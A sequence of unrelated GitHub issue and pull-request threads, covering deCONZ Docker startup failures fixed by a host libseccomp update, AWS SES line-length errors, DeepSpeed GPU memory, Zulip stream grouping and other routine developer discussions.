[deconzcommunity/deconz] Checking device group ID

echo [deconzcommunity/deconz] Starting deCONZ...
echo [deconzcommunity/deconz] Current deCONZ version: 2.13.01
echo [deconzcommunity/deconz] Web UI port: 80
echo [deconzcommunity/deconz] Websockets port: 443
DECONZ_OPTS=--auto-connect=1         --appdata=/opt/deCONZ         --dbg-info=1         --dbg-aps=0         --dbg-zcl=0         --dbg-ddf=0         --dbg-dev=0         --dbg-zdp=0         --dbg-ota=0 	--dbg-error=0         --http-port=80         --ws-port=443
echo [deconzcommunity/deconz] Using options --auto-connect=1         --appdata=/opt/deCONZ         --dbg-info=1         --dbg-aps=0         --dbg-zcl=0         --dbg-ddf=0         --dbg-dev=0         --dbg-zdp=0         --dbg-ota=0 	--dbg-error=0         --http-port=80         --ws-port=443
echo [deconzcommunity/deconz] Modifying user and group ID
[ 1000 != 1000 ]
[ 1000 != 1000 ]
echo [deconzcommunity/deconz] Checking device group ID
[ /dev/ttyACM1 != 0 ]
DEVICE=/dev/ttyACM1
stat --printf=%g /dev/ttyACM1
DIALOUTGROUPID=20
DIALOUTGROUPID=20
[ 20 != 20 ]
stat -c %A /dev/ttyACM1

cut -c 5-7
GROUPPERMISSIONS=rw-
[ rw- = --- ]

[ 0 != 0 ]
echo [deconzcommunity/deconz] VNC Disabled
DECONZ_OPTS=--auto-connect=1         --appdata=/opt/deCONZ         --dbg-info=1         --dbg-aps=0         --dbg-zcl=0         --dbg-ddf=0         --dbg-dev=0         --dbg-zdp=0         --dbg-ota=0 	--dbg-error=0         --http-port=80         --ws-port=443 -platform minimal
[ /dev/ttyACM1 != 0 ]
DECONZ_OPTS=--auto-connect=1         --appdata=/opt/deCONZ         --dbg-info=1         --dbg-aps=0         --dbg-zcl=0         --dbg-ddf=0         --dbg-dev=0         --dbg-zdp=0         --dbg-ota=0 	--dbg-error=0         --http-port=80         --ws-port=443 -platform minimal --dev=/dev/ttyACM1

[ 1 != 1 ]
mkdir -p /opt/deCONZ/otau
[deconzcommunity/deconz] VNC Disabled
ln -sfT /opt/deCONZ/otau /home/deconz/otau
chown deconz:deconz /home/deconz/otau
chown deconz:deconz /opt/deCONZ -R
exec gosu deconz /usr/bin/deCONZ --auto-connect=1 --appdata=/opt/deCONZ --dbg-info=1 --dbg-aps=0 --dbg-zcl=0 --dbg-ddf=0 --dbg-dev=0 --dbg-zdp=0 --dbg-ota=0 --dbg-error=0 --http-port=80 --ws-port=443 -platform minimal --dev=/dev/ttyACM1
QStandardPaths: XDG_RUNTIME_DIR not set, defaulting to '/tmp/runtime-deconz'
libpng warning: iCCP: known incorrect sRGB profile
This plugin does not support propagateSizeHints()
This plugin does not support propagateSizeHints()
This plugin does not support propagateSizeHints()
This plugin does not support propagateSizeHints()
QBasicTimer::start: Timers cannot have negative timeouts
`

It is probably worth noting that I am using the stable tag for the container (i'm not sure that makes a difference)

Interesting:  I just checked my running instance and downgraded to the same version deconzcommunity/deconz:2.13.02
This is working fine.  It doesn't suggest anything, could be a container build thing or a deconz thing - has anything changed significantly between the docker builds?

There seem to be a similar issues, which point to power or an issue with bullseye - not sure how they apply here
https://forum.phoscon.de/t/conbee2-firmware-not-connected-v2-14-01-bullseye/1726/14
https://forum.phoscon.de/t/firmware-not-connected-again-and-again/1185/5
https://forum.phoscon.de/t/conbee2-firmware-not-connected-2-14-01-buster/1734/9
Power - can't see any evidence of the device unplugging in dmesg
OS - that's built into the container - a bunch of people seemed to have success rebuilding their pi installs (not docker)
I'm a bit lost here,

The differences could be seen here: Diff to 2.13.04.
I would say the github-workflows don't have any impact. So what remains:

debian:11.2-slim instead of debian:10.11-slim
gosu instead of sudo
some gosu/sudo calls where replaced by direct calls
VNC-stuff
not to forget the new deCONZ-image itself

Maybe you could also check out 2.14.01_stable so the delta would shrink (to one side or the other) ...

2.14.01 seems fine

So the diff shrinks to 17 commits.
The sudo/gosu part is already included in 2.14.01.

the 2 that stand out are the change to the Deconz version and to the Debian base build, not sure I am in the position to debug or fix either of those even if i knew which was the problem

If you know the problem, I can try to find a solution. I can't reproduce so if you can find the exact root cause, that would be helpfull.

Any clues where to look, the docker logs give very little. Any other logs to look at if I connect to the container?  Dmesg isn't available

You might also try 2.15.01_beta. With this the delta of 10 commits doesn't contain the debian update anymore ...

what docker tag is that - i'm guessing 2.15.01??

So 2.15.01 from the docker hub doesn't work

but it is giving me better logging for some reason.
logs.txt
This line stands out
06:49:56:373 gw run mode: docker 06:49:56:373 GW sd-card image version file does not exist: /opt/deCONZ/gw-version 06:49:56:373 sd-card cid:<PHONE_NUMBER>33324780ffffffff014600

In the log, there is 06:50:12:373 COM: /dev/ttyACM1 / serialno: , ConBee II so it detects the device as a conbee II.

exactly

You can add logging in the compose (check this repo's readme).

so if i set
DEBUG_INFO=2
DEBUG_APS=2
DEBUG_ERROR=2

Yes, But you need to let it run longer. It's not even started at the moment you stop it already 😅

Can you try running it as root? by adding env vars:

DECONZ_UID=0
DECONZ_GID=0

That permission error also seems to happen in my functioning container, my device is ttyACM1

Wait, you have the old container still running?

No, I stop it before starting the new one

Just a sidenote here (i'm checking the logs with Manup): I'm noticing that the timestamps are going all over the place.

CONTAINER ID   IMAGE                                             COMMAND                  CREATED          STATUS                            PORTS                                                                                NAMES
85e7ece0929c   deconzcommunity/deconz:latest                     "/start.sh"              24 minutes ago   Up About a minute (unhealthy)                                                                                deconz_test
8ec38d2037f3   deconzcommunity/deconz:2.14.01                    "/start.sh"              17 hours ago     Exited (143) About a minute ago                                                                                deconz
370cb2dd624c   homeassistant/raspberrypi4-homeassistant:stable   "/init"                  23 hours ago     Up 23 hours                                                                                home-assistant
fbd422b8051f   zwavejs/zwavejs2mqtt:latest                       "docker-entrypoint.s…"   3 days ago       Up 3 days                         <IP_ADDRESS>:3000->3000/tcp, :::3000->3000/tcp, <IP_ADDRESS>:8091->8091/tcp, :::8091->8091/tcp   ZwaveJS
4c02a2aeb64d   portainer/agent                                   "./agent"                4 weeks ago      Up 4 weeks                        <IP_ADDRESS>:9001->9001/tcp, :::9001->9001/tcp                                              portainer_agent
ebf347a06ff3   nodered/node-red:latest                           "npm --no-update-not…"   2 months ago     Up 7 weeks (healthy)              <IP_ADDRESS>:1880->1880/tcp, :::1880->1880/tcp                                              nodered
d0aea54050de   containrrr/watchtower:latest                      "/watchtower --clean…"   3 months ago     Up 7 weeks                        8080/tcp                                                                               watchtower
4ac8a5164236   mikenye/virtualradarserver:latest                 "/init"                  14 months ago    Up 7 weeks                        <IP_ADDRESS>:8080->8080/tcp, :::8080->8080/tcp                                              virtual-radar
66a3fbc0110f   theappgineer/roon-extension-manager:latest        "docker-entrypoint.s…"   18 months ago    Up 5 hours                                                                                roon-extension-manager

The 2.14.0 was running when you made the log , correct?

the latest log is 2.15:03 (latest tag), the previous log was 2.15:01.
2.14:01 is my container that is working and I haven't shared the logs from that

also share the output of ls -l /dev/serial/by-id/

That seems fine I suppose :)
Please provide the info i've requested 😅

Ok, so i think i have done all this but for the sake of removal of doubt and collecting everything into one place:
I absolutely am stopping one container before starting the other.

stopped the 2.14.01 container and started the latest
output of docker ps -a

pi@node-2:~ $ docker ps -a
CONTAINER ID   IMAGE                                             COMMAND                  CREATED          STATUS                       PORTS                                                                                NAMES
90c3a99eefb7   zwavejs/zwavejs2mqtt:latest                       "docker-entrypoint.s…"   36 minutes ago   Up 36 minutes                <IP_ADDRESS>:3000->3000/tcp, :::3000->3000/tcp, <IP_ADDRESS>:8091->8091/tcp, :::8091->8091/tcp   ZwaveJS
e2df1ff99c68   homeassistant/raspberrypi4-homeassistant:stable   "/init"                  36 minutes ago   Up 36 minutes                                                                                home-assistant
85e7ece0929c   deconzcommunity/deconz:latest                     "/start.sh"              2 hours ago      Up 2 minutes (unhealthy)                                                                                deconz_test
8ec38d2037f3   deconzcommunity/deconz:2.14.01                    "/start.sh"              19 hours ago     Exited (143) 3 minutes ago                                                                                deconz
4c02a2aeb64d   portainer/agent                                   "./agent"                4 weeks ago      Up 4 weeks                   <IP_ADDRESS>:9001->9001/tcp, :::9001->9001/tcp                                              portainer_agent
ebf347a06ff3   nodered/node-red:latest                           "npm --no-update-not…"   2 months ago     Up 7 weeks (healthy)         <IP_ADDRESS>:1880->1880/tcp, :::1880->1880/tcp                                              nodered
d0aea54050de   containrrr/watchtower:latest                      "/watchtower --clean…"   3 months ago     Up 7 weeks                   8080/tcp                                                                               watchtower
4ac8a5164236   mikenye/virtualradarserver:latest                 "/init"                  14 months ago    Up 7 weeks                   <IP_ADDRESS>:8080->8080/tcp, :::8080->8080/tcp                                              virtual-radar
66a3fbc0110f   theappgineer/roon-extension-manager:latest        "docker-entrypoint.s…"   18 months ago    Up 7 hours                                                                                roon-extension-manager

logs from 2.15.03
logs.txt
Checked behavior in phoscon

I don't use docker-compose as I use portainer for container management, so here is the output from the inspect
latest inspect.txt
2.14.01 inspect.txt
and finally the output from ls -l /dev/serial/by-id/
pi@node-2:~ $ ls -l /dev/serial/by-id/
total 0
lrwxrwxrwx 1 root root 13 Mar 12 13:19 usb-0658_0200-if00 -> ../../ttyACM0
lrwxrwxrwx 1 root root 13 Apr 25 20:35 usb-dresden_elektronik_ingenieurtechnik_GmbH_ConBee_II_DE2434325-if00 -> ../../ttyACM1

Your device in the latest inspect is not correcT:
2.14.01 inspect:
"DECONZ_DEVICE=/dev/ttyACM1",
latest inspect:
DECONZ_DEVICE=devttyACM1,
Same goes for path:
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
latest:
PATH=usrlocalsbinusrlocalbinusrsbinusrbinsbinbin,
Also some stuff missing on the health-check.
Image has also some differences. I looks like slashes are missing everywhere.

The permisions we're 1000, before I changed them as per the above to potentially diagnose a permission issue.  I will revert, but am convinced it will make no difference.
I have changed the logging level on 2.14.01 to match the latest, so you can do an easy diff
logs_2.14.02.txt

ok, I have tried this a couple of times, but will have another go.
So i have literally duplicated the working container and changed the docker image to latest.  No joy
logs_latest.txt
I wonder if the timestamps points to something off in the "clock" in the OS, there was a base build update in the versions between 2.14 and latest
https://github.com/deconz-community/deconz-docker/compare/2.14.01_stable...main#files_bucket
@phdelodder is there anything potentially funky with the base image or config

The time is just odd, it really makes no sense that it jumps all over.  I have no clue why that happens.

so had a look in the containers
2.14.01

latest

This will be affecting the logging, if not everything else.
Not sure why the time isn't being set in the latest container

Right I've found the problem.
I've done a whole host of digging, and the time issue in the container pointed me to the below.
It is the issue with libsecomp
https://docs.linuxserver.io/faq#libseccomp
Added the backports, updated and restarted the docker service, all good,.

Right I've found the problem.
I've done a whole host of digging, and the time issue in the container pointed me to the below.
It is the issue with libsecomp
https://docs.linuxserver.io/faq#libseccomp
Added the backports, updated and restarted the docker service, all good,.

Happy it's solved and good to know that. Your welcome :)!

Thanks for everyone's time and patience.

Wow - that was a stony road. Good to see you finally found the cause 👏
Just for clearance: you had to fix the libseccomp issue on your pi4 or did you have to do the updates inside the container?

To be clear.  The update needed to be applied to host machine.  I.e. the pi.   It seems a problem on older distros


Causes failure with AWS SES when sending RAW email with attachments

Works great with AWS SES as long as you don't have attachments and must send email as RAW. When email is sent as RAW, text causes delivery failure.

Can you provide more information...? It sounds like a configuration or setup problem on your side. html2text is intended to work on HTML ONLY, not on e.g. MIME

The library converts the HTML body of the email to text as expected. However, when attempting to send the email with an attachment, SES requires the email to be sent as RAW, and that causes delivery failure due to the error: smtp; 501 Syntax error - line too long

Can you provide any more information, such as your setup, the emails you are trying to send, how you're connecting to SES?

We're using this library: https://github.com/daniel-zahariev/php-aws-ses
As long the email doesn't have an attachment, the email is sent with no issues, when an attachment is added, SES accepts the email and returns a message ID. However, we receive a delivery failure few seconds later with the above error message.

Thank you - how are you using html2text with that library? From what I can see that library doesn't depend on html2text directly.

When sending an email, you have the option to send the html email as a text for older email clients that don't view html. Since our html emails are dynamically generated, we are converting the html to text and pass the html string and the text string to the library above.
Currently I'm using another html2txt library and it is working with no issues.


Remove names and decorations of imported symbols

There seems to be no reason to keep the original variable/function/parameter decorations around for import symbols, as the corresponding exports should either match them or should override them. At least that's my understanding, but if there are any exceptions to that please let me know.
Also, with this change the generated module won't have stale decoration and name instructions referring to ids which no longer exist after linking.

Please add a test to check this change in functionality.
Also I'd like @pierremoreau's opinion.

I've added a test case to the PR. Let me know if anything else needs to be modified.

And sorry for never sending the patch. :-/

@aqnuep Could you please rebase the series on the latest master? It includes the fix for the check-format test, which is currently failing on code unrelated to your MR.

Done!

Thank you!
Hopefully @dneto0 or @s-perron can schedule a new kokoro run whenever they have time.

If there are no other comments on this merge request, could someone please merge it (as I do not have write access to the repository myself)? Thanks in advance.

Thank you Steven for merging. :slightly_smiling_face:


Searching backwards does not wrap-around

additionally, searching backwards after a forward-search finds the same match again, which is a weird behaviour.

We hope that we have solved the problem you described.


[DRAFT] Early POC for capturing partner source

Problem
This is an early POC for capturing partner source in the User-Agent field.
I'm looking for directional feedback on the general approach, not really a full review.
Solution
Allow clients to specify a source_partner field in the client constructor, that will be used to identify the source of the integration. (The name "source_partner" is just a placeholder.)
Example:
from pinecone import Pinecone

pc = Pinecone(api_key='foo', source_partner='bar/1.2')

pc.list_indexes()

This would cause the user-agent to get a value like:
User-Agent: 'python-client-3.1.0 (urllib3:2.0.7, source_partner:foo/1.2)'

This is just based on the existing logic that generates the append (<params>), but ideally we'd work out a better format for the additional data like:
User-Agent: 'python-client-3.1.0 (client=urllib3:2.0.7, source_partner=foo:1.2)'

Something else to keep in mind is we would like to track usage of SDKs coming from our own higher-level tools in addition to external integration partners. For example,

canopy depends on the python sdk
spark-connector depends on java sdk

This doesn't change a ton about the general strategy, but it makes me think having partner in the name of these params isn't quite right.

We should also reevaluate some of the cruft that's currently being passed in the user-agent strings. I've been here for a year and never had a need to know anything about what urllib3 version was in use.

We should also reevaluate some of the cruft that's currently being passed in the user-agent strings. I've been here for a year and never had a need to know anything about what urllib3 version was in use.

That's good to know that there isn't much relying on what's there currently. Would be nice to identify the high value information we'd like to capture and include.
I can understand how it could be helpful to know what http client/version is being used to access the service, particularly if there is a known bug with a particular version that causes trouble for our service, as this would likely help CS triage and help.

This doesn't change a ton about the general strategy, but it makes me think having partner in the name of these params isn't quite right.

Agree we should capture those clients, but I do wonder if we should try to keep the partner info separate. A lot of that depends on what we end up doing in the back-end, like how this info is extracted and matched up to what's in our partner CRM, etc.
In addition to setting the source_* fields, we could include a separate flag in our clients that identifies it as an internally owned integration.

FYI there is a minimal unit test file called test_user_agent.py that you may want to expand with a few more test cases to make sure the outputted string looks reasonable across a handful of different normalization cases.

FYI there is a minimal unit test file called tests/unit/utils/test_user_agent.py that you may want to expand with a few more test cases to make sure the resulting string looks reasonable across a handful of different normalization cases.

I was working on that concurrently with your comment -- just pushed


Correct the try-with-resource-block in the CLIWorker

Change the line:
https://github.com/dice-group/IGUANA/blob/efd02d5d4506a20428698c2831dd30af0543a427/iguana.corecontroller/src/main/java/org/aksw/iguana/cc/worker/impl/CLIWorker.java#L54
to something like this:
try (InputStreamReader isr = new InputStreamReader(process.getInputStream()) {
	         BufferedReader br = new BufferedReader(isr))

The original line of code should work correctly, are you just trying to make it more readable?

It does work fine normally, but if the constructor of the BufferedReader throws an exception, the InputStream won't be closed.
See: https://stackoverflow.com/a/1388772

The CLI-Worker will be removed with the new upcoming release

close as not planned


Question about the number of 'group'

Hi @gmberton :
Thanks for your impressive work and sharing code. I am wondering what is the meaning of hyperparameter 'groups'. Can I set the value of 'group' to 1 for the SF-XL dataset? What is the difference between one group and eight groups for training?
Hope for your reply!

Hi, thanks for your interest!
Yes, the value of groups can be set to 1. On the paper you can find an ablation over the number of groups at Figure 10: the rightmost plot shows that when using 1 group instead of 8 the results are about 1% lower.


A few questions (suggestions) about tb-vol-scroll

Is it possible to reassign hotkeys/control keys? I'm interested in muting the sound with the middle mouse button on the taskbar.
Ability to work in full-screen applications.
Is it possible to make the tray icon different from other programs that show temperature, processor load, etc.
For example,
Add the function to turn on/off autoload the program in the settings.
Translation into other languages will attract users!
Thank you!

Sorry for the delay in responding.

Is it possible to reassign hotkeys/control keys? I'm interested in muting the sound with the middle mouse button on the taskbar.

There is no way to reassign hotkeys. However, you can mute the middle-click sound by middle-clicking the tray icon. Middle-clicking anywhere else on the taskbar is not a good solution. What if there is no 'empty' space on the taskbar? Middle-clicking a program icon opens a new instance of that program, which is not what we want.

Ability to work in full-screen applications.

There's already a function to always handle scroll actions in the area where normally the taskbar would be:

Add the function to turn on/off autoload the program in the settings.

While you can set this up manually with shell:startup and Task Manager I agree that an option in the settings would be more user friendly.

Translation into other languages will attract users!

A decent idea. But not feasable to implement with the current codebase. If I ever decide to rewrite this project from scratch I'll look into it. As it stands now, development has stagnated due to lack of time.


Can your own PC train a deepspeed model?[BUG]

@kuokay Can you please share the log output? The path is stated in the error message (Log output: /home/kuokay/...)

My own computer win11 3060 graphics card, can train a 1.3b model?
---Original---
From: "Michael @.>
Date: Sat, Apr 22, 2023 06:40 AM
To: @.>;
Cc<EMAIL_ADDRESS>Subject: Re: [microsoft/DeepSpeed] Can your own PC train a deepspeedmodel?[BUG] (Issue #3333)
@kuokay Can you please share the log output? The path is stated in the error message (Log output: /home/kuokay/...)
—
Reply to this email directly, view it on GitHub, or unsubscribe.
You are receiving this because you were mentioned.Message ID: @.***>

Is this the 3060 with 12GB of memory? If so, you may be able to train the 1.3b model if you reduce the batch size to 1. I just tested and I was using ~12GB of memory with the following command:
deepspeed --num_gpus 1 main.py --model_name_or_path facebook/opt-1.3b --gradient_accumulation_steps 2 --lora_dim 128 --zero_stage 0 --deepspeed --output_dir ./output/ --per_device_train_batch_size 1 --per_device_eval_batch_size 1 --gradient_checkpointing

This may still fail due to memory limitations on your system. However, we are working on support for an --offload feature that should further reduce the memory requirements to train these models.

Issues is stale, closing.


Animation problem on Tabbar

Hi,
we're using latest version on STPopup in our app.
There is a problem when we present the STPopup from a ViewController contained into Tabbar.
These are the steps:

Present STPopup
STPopup appears for about 500ms without animation
STPopup disappears
STPopup appears with animation

Thank you

@nottix Hi, I did exactly the same in my own app(present a popup from view controller containered into tab bar), everything works fine. Can you show me some demo code?

Hi @kevin0571 ,
I've the same problem. The popup appears two times, the first without animation and the second about 300ms later.
In my specific case, I've a Tabbar and a FirstViewController where I set a TableViewCell with a callback:
AlertNotificationListTableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:@"AlertNotificationCell" forIndexPath:indexPath];
        cell.selectionStyle = UITableViewCellSelectionStyleNone;
        [cell setupWithAlertNotifications:_alertNotifications homeNotificationCallback:^(AlertNotification *alertNotification, int index) {
            [AlertNotificationController handleAlertNotification:alertNotification fromViewController:self];
        } closeCallback:^(FsHomeNotification *homeNotification, int index) {
           ....
        }];
        return cell;

When user clicks on cell, I invoke handleAlertNotification:
UIStoryboard *storyboard = [UIStoryboard storyboardWithName:@"Notification" bundle:nil];
        NotificationAlertTableViewController *notificationAlertTableViewController = [storyboard instantiateViewControllerWithIdentifier:@"NotificationAlertView"];
        [notificationAlertTableViewController setTitle:@"INFO"];
        notificationAlertTableViewController.homeNotification = homeNotification;

        STPopupController *popupController = [[STPopupController alloc] initWithRootViewController:notificationAlertTableViewController];
        [popupController presentInViewController:viewController];

@CeccoCQ in your case, can you put a breakpoint in "handleAlertNotification" or NSLog something in "handleAlertNotification"? Want to check if you accidentally call "handleAlertNotification" twice.

Hi @kevin0571,
In this code already there is a NSLog, and I can confirm that this method is invoked only one time.

Is "handleAlertNotification" executed in main thread?

Yes, I've also surrounded the method with:
[[NSOperationQueue mainQueue] addOperationWithBlock:^ {

                //Your code goes in here
            [FsNotificationController handleHomeNotification:homeNotification fromViewController:self];

            }];

but same problem.

@kevin0571 Is there a way to disable animations?

@CeccoCQ there is no way to disable animations with STPopupController for now. but you can try [UIView setAnimationsEnabled:NO] and re-enable animation after popup is presented.
is the issue above resolved? I still can not replicate it.

@kevin0571 with [UIView setAnimationsEnabled:NO] all works, thanks.


[DC-832] Add unit test and typescriptify DataBrowserDetails

Jira Ticket: https://broadworkbench.atlassian.net/browse/dc-810
Summary of changes:
This changes the DataBrowserDetails from js to ts, and adds one simple test. This does not add tests sufficient to remove the integration test described in the ticket, that is to follow.

@rjohanek, absolutely! I'll add a test for SidebarComponent!


Create calculation group header

Lab Name: Create a Paginated Report
Task: Explore the completed report
Step: 4
Issue Type: non-blocking
Description of issue: When I used the Sales Order Number: 51721, the report only has 1 page. I suggest just deleting Step 4 which asks students to explore pages 2 and 3, as those are not in the report to my knowledge for this sales order number.

Minor issue about how to determine where the Paginated report lab ends. It looks like adding a header for "Create Calculation Group" would be helpful to separate it from the previous lab. However, it doesn't seem like this will be an issue when the labs are divided up.

Thank you! I added the title to the markdown file :)


Custom Pages context/props

I see that we render the custom pages without any admin-ui context in it. I see that I can use useQuery and useMutation to work with AdminUI GraphQL. (useQuery and useMutation from react-apollo-hooks, pending PR #1701 for official apollo hooks usage)
I also found that I can also import useAdminMeta as follows and do some of the things already possible with admin-ui.
import { useAdminMeta } from '@keystone-alpha/app-admin-ui/client/providers/AdminMeta';

May I propose that we add adminMeta as props when rendering custom pages along with simplified export of useAdminMeta hook in @keystone-alpha/app-admin-ui/client or a new package @keystone-alpha/hooks for better consumption of admin ui data in the custom page. Having props will also help when anyone writes class component (for their reason).
I will create a PR for this.

I'm a little confused about what you're suggesting here. Technically I understand but I haven't done much with custom pages so I don't think I understand why or what this will enable.
I'm going to add the needs-clarification label :) until we get a bit more info. I'm sure the PR will help me understand better but if you can also explain how data from useAdminMeta might be used in a custom page I'm sure it would help people less familiar... or just help me. Either way is good :)

There is a need to document Custom Actions Vs Custom Pages

@gautamsi if you want to export useAdminMeta from @keystone-alpha/app-admin-ui I'll approve that PR.


Make the CI green again

Prettier must pass everywhere (yarn run prettify or yarn run lint --fix will always fix it)
Eslint must pass in the boilerplate. There is quite a bit more work to be done in the rudy package to make it pass.
Tests must pass
Snyk must pass
The build (as in, yarn run build) must complete in all packages

The import/no-unresolved eslint rule behaved differently on the CI server to my local setup - it originally passed for me.

Seems like travis runs the build and it passes, but then it doesn't report the result and the log is empty.
I know because if you cancel the build in the Travis UI, you can see the log (which shows that the script succeeded). Cancelling it makes it fail though :(
wut

hooray it passed!


No tests were discovered from the specified test sources

Hello, right now I am setting up a continuous deployment workflow, but I am getting the following error when the Run Functional Test task run. I think the problem is because I'm using xunit. I would appreciate any help.

@Alcruz do you have the xunit adapter available on your test machine?
You would need to copy the xunit adapter from your vs machine (\Common7\IDE\CommonExtensions\Microsoft\TestWindow\Extensions) to your test agent box (\Common7\IDE\CommonExtensions\Microsoft\TestWindow\Extensions\Microsoft.VisualStudio.TestPlatform.Extensions)

Hey @allendm-msft, In First place, thanks for taking your time to respond to my issue.
I went to the target directory (\Common7\IDE\CommonExtensions\Microsoft\TestWindow\Extensions) then I create Microsoft.VisualStudio.TestPlatform.Extensions folder and copy that dll within it. But same error has occurred.
When you said the xunit adapter, are you referring about "xunit.runner.visualstudio.testadapter.dll" ?

Something is amiss. You shouldnt have to create the folder on your test machine. it should be present when you install the test agent.
Yes the xunit adapter I am referring to is what you have noted above.

@allendm-msft, The issue was that I was not including the xunit dependencies with my test dlls, I included it with my tests binaries and It works great.
Thanks for the help.


Use commit SHA instead of branch name for third-party actions

Hi!
Following the GH Action Security Hardening guide we should use the commit SHA instead of the branch or tag for any third-party untrusted action.

You can sign to beta: https://github.com/github/roadmap/issues/592


Docs: Add OpenID COnnect to Authentication options

I don't know if I got something wrong here, but the docs (https://docs.gitea.io/en-us/authentication/) only explicitly list Gitea as OAuth2 Provider, while it can definitely also be a client to another provider: https://github.com/go-gitea/gitea/pull/1010
This initially confused me when I tried to check this capability.
And it is actually listed on the Comparison page: https://docs.gitea.io/en-us/comparison/#3rd-party-integrations

Yes please. I'm trying to understand how scopes work, and I can't figure it out :(

Moved to https://gitea.com/gitea/docs/issues/106


Categorizing of streams in the UI (feature request)

Having used hipchat, slack, discord, etc. for years, I think Zulip's stream >topic format is the best. However, having a long list of streams each with a long list of topics that grows over time might still be overwhelming in some cases. By having the option to group/categorize streams in the UI, it will be easier to focus on a set of streams that the user is currently interested in. Having this feature will make several use cases much easier/possible, such as grouping streams based on:

Role/Team
Project
Time
Scope
Or combination of these

Sample Grouping of Streams:
Role/Team Based:

Project Based:

Time Based:

Scope Based:

There are similar open issues like #10552 and #19525, but they talk about implementing User group permissions first. If my understanding is correct, we may not need to touch user/group permissions for this feature request. The categories/groupings will only need to alter the layout of the streams in the UI, while the current individual stream permissions will still determine what streams the user has access to.
Proposed Implementation:

Create a "Categories" field for the streams (add this below the "Stream Description" field in the UI). The default is empty, i.e. stream is Uncategorized.
In the UI sidebar, currently there are "Pinned" and "Active" streams sections. We change this to three stream sections: "Pinned", "Categorized", and "Active".
In the new "Categorized" streams section, categories are sorted alphabetically and can be collapsed/expanded.
All streams under each category are also sorted alphabetically for simplicity.
The "Categorized" streams section will be displayed only if the user subscribes to a stream that belongs to a category.
The "Pinned" and "Active" sections will behave as is today.
Add a simple UI for zulip admins to add/edit/hide/delete categories. A category can be deleted only if there are no streams that belong to that category. Each category will have two fields: "Category Name" and "Hide Category" checkbox (unchecked by default). If this is checked, the category and its streams will now be part of the new "Hidden" streams section.
Add an optional fourth stream section: "Hidden". A normal user will be able to show/hide this fourth section by a simple toggle in the UI sidebar or personal settings UI.

Proposed UI changes (with sample Role/Team based grouping):

Additional benefits of this feature request:

Easy clean-up of streams: Any zulip moderator can hide a category such as when a project had been completed, effectively hiding a set of streams for the entire organization.
The "Hidden" stream section, hidden by default, can be toggled by any user -- giving him/her easy access to older streams for reference.

Proposed UI when Hidden category streams section is displayed:

Looking forward to hear what you think. Is this easily doable/feasible? Thanks.

Thanks for the interesting suggestion! Related issue: #10552

@alya @timabbott What do you think about the proposed implementation above? Would the community want this feature? If yes, maybe when I get the chance I'll try to help implement and submit PR.
Though I haven't looked closely on the zulip code yet -- any input on where to look first, will be valuable. Thanks.

Some UI design ideas about it here https://chat.zulip.org/#narrow/stream/101-design/topic/UI.20redesign.3A.20left.20sidebar/near/1437382

Referencing #13928 (and all issues referenced in there) as grouping streams in the UI is kind of another level of nesting. @micmejia your UI sketch is very similar to the one we were discussing!
Very excited for this as it would allow for a better structure in the left sidebar. Rethinking everything it would be very charming to allow for "group switches" based on @micmejia's sketch. Like toggling between project- and team-based grouping in the sidebar!
Maybe a sort of "tagging" feature for each stream (or topic or message) could allow for such a nice toggle. @v3ss0n described the idea here.

@do-me  my draft work for adding topics-tags : https://github.com/v3ss0n/zulip/pull/2  . so for it is working , can create new topic with tags.   I just testing for now so i am using an extra text field in message model . Zulip internals are so complex that for that to work , i have to modify a bunch of files on backend.   So far , after a day of tweaking , i go tit working.
please check .

Very interested by this feature!

There are thoughts about it and proposed sidebar redesign is ready to have channel groups https://terpimost.github.io/zulip-sidebar/

This proposal seems great! I hope it will be considered for integration in a next version :)

Currently in an environment, where several zulip installations are used, by teams more or less connected with each other. This additional level of nesting would help to merge the instances.
Very interested to see this!


How can I capture and save a video (image+audio) from webcam?

I have seen some codes about video capture using this API (Webcam Capture), but only restricted for video images capture, i.e., video without audio (e.g. the Encoder.java sample file in this repository). I am starting a project that require this feature (capture video image and sound). Can anyone help me in show me how can I capture video and audio from the webcam at the same time and write to the same file (mp4, ts, etc.)?

this lib is used to grab Java bufferred image from vedio source.rather than vedio encoder/decoder发自我的华为手机-------- 原始邮件 --------主题：[sarxos/webcam-capture] How can I capture and save a video (image+audio) from webcam? (#736)发件人：JOÃO WERTHER 收件人：sarxos/webcam-capture 抄送：Subscribed I have seen some codes about video capture using this API (Webcam Capture), but only restricted for video images capture, i.e., video without audio (e.g. the Encoder.java sample file in this repository). I am starting a project that require this feature (capture video image and sound). Can anyone help me in show me how can I capture video and audio from the webcam at the same time and write to the same file (mp4, ts, etc.)?
—You are receiving this because you are subscribed to this thread.Reply to this email directly, view it on GitHub, or mute the thread.


Non-selectable children are selectable when a non-CanvasItem is inbetween.

As is intended, when enabling "Children are not selectable" on a parent CanvasItem, clicking on any of its children or grandchildren will cause the mentioned parent to be selected.
However, if there is a non-CanvasItem child inbetween the parent whose children are not selectable will become selectable individually again. Since this sentence is a bit of a mess, here's how that would look in the scene tree:

Clicking on the icon Sprite will select it:

Seems to work properly in master


List the number of parts in each category in the category list

I'm sure you know the JLC catalog is poorly organized and has many types of parts that are split into multiple categories for no reason. Often times there will be several categories with only a handful of parts, and it takes some time to find the correct category with most of the parts.
One option is that jlcparts could merge duplicate categories internally, but then the categories wouldn't match up between jlcparts and the JLC PCB website.
But another option that would save a lot of time would be including the number of parts in each category in the category list, like the JLC PCB website does. I often times find myself doing this manually in jlcparts by selecting a category, scrolling down and checking how many matching components there are, and scrolling back up to check the next category.

You may want to see #75
#119 refers to combining selection of all subcategories with the same name (which may be spread across multiple categories) as a workaround to the issue you mention, and is implemented in the site linked in #122


Add zip codes to zip-code-data.csv

Added the rows below to /tables/zip-code-data.csv
22,Louisiana,LA,70765,Iberville,Plaquemine
22,Louisiana,LA,70302,Lafourche,Thibodaux
22,Louisiana,LA,70835,East Baton Rouge,Baton rouge
22,Louisiana,LA,70707,Ascension,Gonzales

Added the AL & MS zip codes based on Compass Urgent Care testing.
1,Alabama,AL,35046,Chilton,Clanton
1,Alabama,AL,36568,Mobile,Saint Elmo
1,Alabama,AL,36685,Mobile,Mobile
1,Alabama,AL,36688,Mobile,Mobile
1,Alabama,AL,36691,Mobile,Mobile
28,Mississippi,MS,39555,Jackson,Hurley

Problem statement
Some valid zip codes in AL, LA, and MS are not present in the zip-code-data table.  As a result, county lookups for those zip codes are failing.
Acceptance criteria

[ ] county lookups for the added zip codes are successful

To do

[ ] add zip codes to table

Completed and merged into Production.


Load

